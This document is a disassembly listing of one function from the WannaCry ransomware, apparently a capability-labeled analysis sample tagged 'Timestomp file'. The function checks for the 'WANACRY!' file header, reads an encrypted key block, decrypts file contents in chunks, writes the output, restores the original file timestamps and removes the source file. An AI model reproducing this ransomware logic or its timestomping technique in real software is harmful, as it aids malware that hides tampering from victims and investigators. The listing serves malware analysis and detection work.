Function at 0x4020a0
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4158c8
push 0x413050
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x25c
push ebx
push esi
push edi
mov dword [ebp - 0x26c], ecx
or edi, 0xffffffff
mov dword [ebp - 0x268], edi
mov dword [ebp - 0x25c], edi
xor esi, esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x264], esi
mov byte [ebp - 0x240], 0
xor eax, eax
mov dword [ebp - 0x23f], eax
mov word [ebp - 0x23b], ax
mov byte [ebp - 0x239], al
mov dword [ebp - 0x260], esi
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x1c], esi
mov dword [ebp - 0x230], esi
mov dword [ebp - 4], esi
push esi
push esi
push 3
push esi
push 1
push 0x80000000
mov ecx, dword [ebp + 8]
push ecx
call dword [0x4217a0]
mov ebx, eax
mov dword [ebp - 0x268], ebx
cmp ebx, edi
jne 0x402143
push edi
lea edx, [ebp - 0x10]
push edx
jmp 0x402452
lea eax, [ebp - 0x248]
push eax
lea ecx, [ebp - 0x250]
push ecx
lea edx, [ebp - 0x258]
push edx
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
lea eax, [ebp - 0x20]
push eax
push 8
lea ecx, [ebp - 0x240]
push ecx
push ebx
call dword [0x4217a8]
test eax, eax
je 0x40244c
mov ecx, 2
mov edi, str.WANACRY_
lea esi, [ebp - 0x240]
xor edx, edx
repe cmpsd dword [esi], dword es:[edi]
jne 0x40244c
push edx
lea eax, [ebp - 0x20]
push eax
push 4
lea ecx, [ebp - 0x264]
push ecx
push ebx
call dword [0x4217a8]
test eax, eax
je 0x40244c
cmp dword [ebp - 0x264], 0x100
jne 0x40244c
push 0
lea edx, [ebp - 0x20]
push edx
push 0x100
mov esi, dword [ebp - 0x26c]
mov eax, dword [esi + 0x4c8]
push eax
push ebx
call dword [0x4217a8]
test eax, eax
je 0x40244c
push 0
lea ecx, [ebp - 0x20]
push ecx
push 4
lea edx, [ebp - 0x260]
push edx
push ebx
call dword [0x4217a8]
test eax, eax
je 0x40244c
push 0
lea eax, [ebp - 0x20]
push eax
push 8
lea ecx, [ebp - 0x238]
push ecx
push ebx
call dword [0x4217a8]
test eax, eax
je 0x40244c
cmp dword [ebp - 0x260], 3
jne 0x4022f9
push ebx
call dword [0x4217b8]
push 0
push 0
push 3
push 0
push 1
push 0xc0000000
mov edx, dword [ebp + 8]
push edx
call dword [0x4217a0]
mov ebx, eax
mov dword [ebp - 0x268], ebx
cmp ebx, 0xffffffff
je 0x40244c
push 2
push 0
push 0xffff0000
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
call edi
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0x10000
mov edx, dword [esi + 0x4c8]
push edx
push ebx
call dword [0x4217a8]
test eax, eax
je 0x40244c
cmp dword [ebp - 0x20], 0x10000
jne 0x40244c
push 0
push 0
push 0
push ebx
call edi
push 0
lea eax, [ebp - 0x1c]
push eax
push 0x10000
mov ecx, dword [esi + 0x4c8]
push ecx
push ebx
call dword [0x4217a4]
test eax, eax
je 0x402376
cmp dword [ebp - 0x1c], 0x10000
jne 0x402376
push 2
push 0
push 0xffff0000
push ebx
call edi
push ebx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov edi, dword [ebp - 0x25c]
jmp 0x402497
push 0
push 0x80
push 2
push 0
push 1
push 0x40000000
mov ecx, dword [ebp + 0xc]
push ecx
call dword [0x4217a0]
mov edi, eax
mov dword [ebp - 0x25c], edi
cmp edi, 0xffffffff
jne 0x40232c
push eax
lea edx, [ebp - 0x10]
push edx
jmp 0x402452
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x22c]
push ecx
mov edx, dword [ebp - 0x264]
push edx
mov eax, dword [esi + 0x4c8]
push eax
lea ecx, [esi + 4]
call fcn.00404af0
test eax, eax
jne 0x40238b
lea ecx, [ebp - 0x2c]
push ecx
lea edx, [ebp - 0x22c]
push edx
mov eax, dword [ebp - 0x264]
push eax
mov ecx, dword [esi + 0x4c8]
push ecx
lea ecx, [esi + 0x2c]
call fcn.00404af0
test eax, eax
jne 0x402381
push 0xffffffffffffffff
lea edx, [ebp - 0x10]
push edx
jmp 0x402452
mov dword [ebp - 0x230], 1
lea ecx, [esi + 0x54]
push 0x10
mov eax, dword [ebp - 0x2c]
push eax
mov edx, dword [0x4213b0]
push edx
lea eax, [ebp - 0x22c]
push eax
call 0x40a150
mov ecx, dword [ebp - 0x238]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 0x234]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
test eax, eax
jl 0x402477
jg 0x4023d1
mov eax, dword [ebp - 0x28]
test eax, eax
jbe 0x402477
mov eax, dword [esi + 0x4d0]
test eax, eax
je 0x4023e0
cmp dword [eax], 0
jne 0x40244c
push 0
lea ecx, [ebp - 0x20]
push ecx
push 0x100000
mov edx, dword [esi + 0x4c8]
push edx
push ebx
call dword [0x4217a8]
test eax, eax
je 0x40246f
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x40246f
sub dword [ebp - 0x28], eax
sbb dword [ebp - 0x24], 0
push 1
push eax
mov eax, dword [esi + 0x4cc]
push eax
mov ecx, dword [esi + 0x4c8]
push ecx
lea ecx, [esi + 0x54]
call fcn.0040b3c0
push 0
lea edx, [ebp - 0x1c]
push edx
mov eax, dword [ebp - 0x20]
push eax
mov ecx, dword [esi + 0x4cc]
push ecx
push edi
call dword [0x4217a4]
test eax, eax
je 0x40244c
mov edx, dword [ebp - 0x1c]
cmp edx, dword [ebp - 0x20]
je 0x4023b9
push 0xffffffffffffffff
lea eax, [ebp - 0x10]
push eax
call sub.MSVCRT.dll__local_unwind2
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
push 0xffffffffffffffff
lea ecx, [ebp - 0x10]
push ecx
jmp 0x402452
push 0
push 0
mov edx, dword [ebp - 0x234]
push edx
mov eax, dword [ebp - 0x238]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push edi
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
lea ecx, [ebp - 0x248]
push ecx
lea edx, [ebp - 0x250]
push edx
lea eax, [ebp - 0x258]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
cmp dword [ebp - 0x260], 3
jne 0x4024e0
push ebx
call dword [0x4217b8]
or eax, 0xffffffff
mov dword [ebp - 0x25c], eax
mov dword [ebp - 0x268], eax
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [0x4217ac]
mov esi, dword [esi + 0x4d4]
test esi, esi
je 0x40250b
mov eax, dword [ebp - 0x230]
push eax
push 0
mov ecx, dword [ebp - 0x238]
push ecx
mov edx, dword [ebp - 0x234]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call esi
push 0xffffffffffffffff
lea edx, [ebp - 0x10]
push edx
call sub.MSVCRT.dll__local_unwind2
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8